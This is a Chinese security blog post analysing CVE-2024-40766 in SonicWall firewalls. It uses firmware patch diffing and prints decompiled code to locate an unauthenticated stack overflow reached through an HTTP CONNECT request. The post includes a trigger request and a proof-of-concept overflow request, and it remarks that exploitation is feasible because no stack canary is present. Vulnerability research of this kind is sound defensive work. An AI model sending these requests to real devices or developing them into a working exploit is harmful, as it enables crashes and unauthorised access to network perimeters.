CVE-2024-40766

Catalpa 网络安全爱好者

2024 年 8 月 23 日,Sonicwall 发布了 CVE-2024-40766 漏洞预警信息,该漏洞被描述为 “访问控制不当”。可能造成未授权访问或导致系统崩溃,本文对此漏洞进行简要分析。

该漏洞可能已被在野利用,建议用户立即安装补丁,检查设备 SSLVPN 用户情况,并应用 SonicWall 提供的缓解措施。

基本信息

根据公开信息,该漏洞似乎仅影响 SonicWall 防火墙的硬件设备,影响 GEN5、GEN6 以及 GEN7 小于等于 7.0.1-5035 版本。

公告描述这可能是一个验证绕过漏洞,但我们找到 GEN5 系列的更新公告,其中提到新版本仅进行了一项修复:

1
SonicOS unauthenticated stack-based buffer overflow vulnerability (SNWLD-2024-0015). GEN5-73

所以这个漏洞可能是一个未授权栈溢出,通过溢出覆盖了某些关键结构导致身份验证绕过。

漏洞分析

GEN5 系列更新的项目较少,我们选择它为目标进行补丁对比,GEN5 只提供 sig 格式的升级包,但通过之前的文章已经知道 sig 文件的解密方法,所以直接选择最近两个版本解密来分析。

解密 5.9.2.14-12o 和 5.9.2.14-13o 两个版本的固件,使用 binwalk 分析解密后固件格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
405 0x195 Zlib compressed data, default compression
7517022 0x72B35E Squashfs filesystem, big endian, version 3.0, size: 3973792 bytes, 1439 inodes, blocksize: 16384 bytes, created: 2022-04-07 09:48:41
11494238 0xAF635E ELF, 32-bit N32 MSB MIPS32 executable, MIPS, version 1 (SYSV)
14003246 0xD5AC2E CRC32 polynomial table, big endian
14004293 0xD5B045 Copyright string: "Copyright 1995-2002 Jean-loup Gailly "
14007301 0xD5BC05 Copyright string: "Copyright 1995-2002 Mark Adler "
14125788 0xD78ADC HTML document header
14126380 0xD78D2C HTML document footer
14139070 0xD7BEBE PEM certificate
14140150 0xD7C2F6 PEM certificate
14141486 0xD7C82E PEM RSA private key
14157054 0xD804FE Ubiquiti firmware header, third party, ~CRC32: 0x0, version: "SSL_malloc Error"
14265550 0xD9ACCE SHA256 hash constants, big endian
14275478 0xD9D396 AES Inverse S-Box
14297270 0xDA28B6 Base64 standard index table
14654307 0xDF9B63 gzip compressed data, has comment: "", from FAT filesystem (MS-DOS, OS/2, NT), last modified: 1970-01-13 13:14:07 (bogus date)
14713500 0xE0829C Intel x86 or x64 microcode, sig 0x0000b806, pf_mask 0x00, 1F00-01-10, rev 0x1d00, size 2048
14714780 0xE0879C Intel x86 or x64 microcode, sig 0x3f800833, pf_mask 0x00, 1F00-01-10, rev 0x1d00, size 16384
14716412 0xE08DFC Intel x86 or x64 microcode, sig 0x00002879, pf_mask 0x00, 1F00-01-10, rev 0x1d00, size 2048
14717308 0xE0917C Intel x86 or x64 microcode, sig 0x3f8068aa, pf_mask 0x00, 1F00-01-10, rev 0x1d00, size 16384
14717884 0xE093BC Intel x86 or x64 microcode, sig 0x000060db, pf_mask 0x00, 1F00-01-10, rev 0x1d00, size 2048
14722300 0xE0A4FC Intel x86 or x64 microcode, sig 0x0000b0ce, pf_mask 0x00, 1F00-02-10, rev 0x1d00, size 2048
14723036 0xE0A7DC Intel x86 or x64 microcode, sig 0x00006004, pf_mask 0x00, 1F00-03-10, rev 0x1d00, size 2048
14725724 0xE0B25C Intel x86 or x64 microcode, sig 0xffc0000e, pf_mask 0x00, 1F00-04-10, rev 0x1d00, size 12289
14725852 0xE0B2DC Intel x86 or x64 microcode, sig 0x0000d03b, pf_mask 0x00, 1F00-04-10, rev 0x1d00, size 2048
14727740 0xE0BA3C Intel x86 or x64 microcode, sig 0x0000a0a3, pf_mask 0x00, 1F00-04-10, rev 0x1d00, size 2048
14731164 0xE0C79C Intel x86 or x64 microcode, sig 0x0000889f, pf_mask 0x00, 1F00-05-10, rev 0x1d00, size 2048
14750300 0xE1125C Intel x86 or x64 microcode, sig 0x0000b063, pf_mask 0x00, 1F00-09-10, rev 0x1d00, size 2048
14750460 0xE112FC Intel x86 or x64 microcode, sig 0x0780d86a, pf_mask 0x00, 1F00-09-10, rev 0x1d00, size 53248
14750652 0xE113BC Intel x86 or x64 microcode, sig 0x7f8088a5, pf_mask 0x00, 1F00-09-10, rev 0x1d00, size 20480
14751036 0xE1153C Intel x86 or x64 microcode, sig 0x000078c5, pf_mask 0x00, 1F00-09-10, rev 0x1d00, size 2048
14791868 0xE1B4BC Intel x86 or x64 microcode, sig 0x008068f1, pf_mask 0x00, 1F00-12-10, rev 0x1d00, size 4096
14793532 0xE1BB3C Intel x86 or x64 microcode, sig 0x0380a053, pf_mask 0x00, 1F00-13-10, rev 0x1d00, size 16384
14794236 0xE1BDFC Intel x86 or x64 microcode, sig 0x00006867, pf_mask 0x00, 1F00-13-10, rev 0x1d00, size 2048
14798108 0xE1CD1C Intel x86 or x64 microcode, sig 0x1f80c050, pf_mask 0x00, 1F00-14-10, rev 0x1d00, size 12288
14798300 0xE1CDDC Intel x86 or x64 microcode, sig 0x3f80c064, pf_mask 0x00, 1F00-14-10, rev 0x1d00, size 57344
14798396 0xE1CE3C Intel x86 or x64 microcode, sig 0xff80f06f, pf_mask 0x00, 1F00-14-10, rev 0x1d00, size 1
14798428 0xE1CE5C Intel x86 or x64 microcode, sig 0x00804875, pf_mask 0x00, 1F00-14-10, rev 0x1d00, size 8192
14812508 0xE2055C Intel x86 or x64 microcode, sig 0xffc0288b, pf_mask 0x00, 1F00-16-10, rev 0x1d00, size 20480
14814428 0xE20CDC Intel x86 or x64 microcode, sig 0x000040e4, pf_mask 0x00, 1F00-16-10, rev 0x1d00, size 2048
14817340 0xE2183C Intel x86 or x64 microcode, sig 0x000000b9, pf_mask 0x00, 1F00-17-10, rev 0x1d00, size 2048
14825500 0xE2381C Intel x86 or x64 microcode, sig 0x0380c058, pf_mask 0x00, 1F00-19-10, rev 0x1d00, size 8192

直接解压,会得到一个叫做 195 的 ELF 文件,这个实际上就是系统主要程序,内部实现了很多功能,包括管理端口 WEB 相关功能。

利用 Bindiff 对比新旧两个程序,得到结果显示差异很小,仅有 20 余个函数发生变化。

逐个分析发生变化的函数,定位到疑似漏洞点,代码列举如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// 旧版本
if ( *(v36 + 32) == 6LL ) // CONNECT 类型
{
if ( strstr(*(v36 + 36), aWxaappliance_0) )
{
if ( strstr(*(v36 + 52), aProxyAuthoriza_3) || strstr(*(v36 + 52), aProxyAuthoriza_2) )
{
v42 = *(v36 + 36);
v43 = v32;
v44 = *(v36 + 52);
}
else
{
v42 = *(v36 + 36);
v43 = v32;
v44 = *(v36 + 48);
}
v45 = woHandleSshConnect(v43, v42, v44) < 0;
LABEL_361:
v182 = 4;
if ( v45 )
v182 = 0;
v220 = v182;
goto LABEL_367;
}
if ( strstr(*(v36 + 36), aSonicpoint_0) )// (sonicpoint)->
{
if ( strstr(*(v36 + 52), aProxyAuthoriza_3) || strstr(*(v36 + 52), aProxyAuthoriza_2) )
{
v46 = *(v36 + 36);
v47 = v32;
v48 = *(v36 + 52);
}
else
{
v46 = *(v36 + 36);
v47 = v32;
v48 = *(v36 + 48);
}
v45 = spnHandleSshConnect(v47, v46, v48) < 0;
goto LABEL_361;
}
// ...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 新版本
if ( *(v36 + 32) == 6LL ) // CONNECT 类型
{
if ( strstr(*(v36 + 36), aSonicpoint_0) && sub_829B0BDC(v32) && sub_829B1D20(v32) == 3 )
{
if ( strstr(*(v36 + 52), aProxyAuthoriza_3) || strstr(*(v36 + 52), aProxyAuthoriza_2) )
{
v42 = *(v36 + 36);
v43 = v32;
v44 = *(v36 + 52);
}
else
{
v42 = *(v36 + 36);
v43 = v32;
v44 = *(v36 + 48);
}
v45 = spnHandleSshConnect(v43, v42, v44) < 0;
LABEL_357:
v179 = 4;
if ( v45 )
v179 = 0;
v217 = v179;
goto LABEL_363;
}
// ...
}

对比可以发现新版本去掉了调用 woHandleSshConnect 的代码,并且在调用 spnHandleSshConnect 之前新增了调用函数 sub_829B0BDC 和 sub_829B1D20

实际上这个函数是处理发往管理端口 HTTP 请求的入口点,v36 + 32 表示当前的请求方法,6 表示 CONNECT 方法,v36 + 36 表示请求的 URL,v36 + 52 表示请求头。

也就是说当发送类似以下请求时,会触发 woHandleSshConnect 函数

1
2
3
4
5
6
7
8
9
10
CONNECT /test?(wxaappliance)->aaa HTTP/1.1
Host: 127.0.0.1
Proxy-Authorization: test
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall woHandleSshConnect(__int64 unknow, __int64 maybe_query_string, __int64 maybe_header)
{
// ...

v14[0] = 0;
v5 = strstr(maybe_query_string, aWxaappliance_0);
if ( v5 )
{
param = (v5 + maybe_strlen(aWxaappliance_0));
v8 = sub_82860ACC(param, maybe_header, v14);
v9 = sub_82853D40(unknow, param, v8, 0LL);
v10 = v9;
v11 = v9 < 0;
result = -1LL;
if ( !v11 )
{
v12 = sub_8286EA04(3LL);
if ( sub_8286EC70(v12, 1LL) )
{
*(v12 + 76) = v10;
*(v12 + 72) = unknow;
sub_825E0284(unknow, 65539LL, 0LL);
sub_82D9AB58(v13, "tSslvpnProxy%d", unknow);
*(v12 + 84) = sub_827ED488(v13, 50LL, 0LL, 20000LL, sub_82852A34, v12, 0LL);
}
return 0LL;
}
}
else
{
if ( LOG(aNotice, aWohandlesshcon, 2364LL) )
sub_82330978("in %s error: pQueryString NULL \n", aWohandlesshcon_0);
return -1LL;
}
return result;
}

woHandleSshConnect 函数又会调用 sub_82860ACC

1
2
3
4
5
6
7
8
__int64 __fastcall sub_82860ACC(__int64 buf, __int64 a2, _DWORD *a3)
{
// ...

v13[0] = 0;
sub_8284D554(buf, v13);
// ...
}

最终会调用 sub_8284D554 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall sub_8284D554(__int64 buf, __int64 a2)
{
// ...

v2 = a2;
if ( !buf || !a2 )
return -1LL;
if ( *buf == '[' )
{
memset(&v13, 0LL, 124LL);
maybe_strnpy(&v13, buf, 123LL);
v5 = strchr(&v13, ']');
v6 = v5;
v7 = v5 == 0;
result = -1LL;
if ( !v7 )
{
v8 = (v6 + 1);
if ( *v8 == 58LL )
*v2 = maybe_atoi((v8 + 1));
*(v8 - 1) = 0;
v9 = maybe_strlen(buf);
maybe_strnpy(buf, v14, v9 - 1);
return 0LL;
}
}
else // [1]
{
v10 = strchr(buf, ':');
v11 = v10;
if ( v10 && strchr(buf, '.') )
goto LABEL_13;
v7 = sub_825DC8E8(buf) != 0; // [2]
result = 0LL;
if ( v7 )
return result;
v12 = strchr(buf, ':');
v11 = v12;
if ( v12 )
{
LABEL_13:
*v2 = maybe_atoi((v11 + 1));
*v11 = 0;
}
return 0LL;
}
return result;
}

当 buf 即 Query String 不以 [ 字符开头时,来到 [1] 处,接着会在 [2] 处调用 sub_825DC8E8 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_825DC4B8(__int64 buf, int a2)
{
// ...
char v32[46]; // [sp+10h] [-50h] BYREF
_BYTE v33[16]; // [sp+40h] [-20h] BYREF
int v34; // [sp+50h] [-10h] BYREF
int v35; // [sp+54h] [-Ch]
int v36; // [sp+58h] [-8h]

v2 = v32;
v35 = a2;
v4 = 0LL;
memset(v32, 0LL, sizeof(v32));
if ( !buf || !v35 )
{
if ( dword_834DE5C8 )
sub_82D9B0B8(aState1NullPoin);
return 0LL;
}
strcpy(v32, buf); // [3]
// ...
}

很明显在 [3] 处,代码会调用 strcpy 尝试将用户可控的数据拷贝到 v32,而 v32 是一个位于 stack 的固定长度的缓冲区,在拷贝时缺少长度验证,这将导致栈溢出。

一个可能的 POC 如下

1
2
3
4
5
6
7
8
9
10
CONNECT /test?(wxaappliance)->aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
Host: 127.0.0.1
Proxy-Authorization: test
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close


该二进制程序也没有开启 canary 等保护措施,所以理论上可以利用此漏洞实现命令执行,v32 变量下方可能存在某些关键数据结构,也许通过溢出覆盖这些结构就可以实现未授权访问等。

由于我没有合适的设备进行测试,该漏洞能否利用?如何利用?就留给感兴趣的读者研究了。

参考链接

本文简要介绍了 CVE-2024-40766 漏洞,通过补丁对比找到了漏洞可能的位置并分析了漏洞成因。该漏洞评分为 9.3 属严重漏洞,建议使用 SonicWall 相关设备的用户及时更新最新补丁。

https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0015

https://wzt.ac.cn/2022/02/08/sonicwall_dec1/

https://wzt.ac.cn/2024/09/05/sonicwall_dec2/

  • Title: CVE-2024-40766
  • Author: Catalpa
  • Created at : 2024-09-05 00:00:00
  • Updated at : 2024-10-17 08:47:08
  • Link: https://wzt.ac.cn/2024/09/05/CVE-2024-40766/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
CVE-2024-40766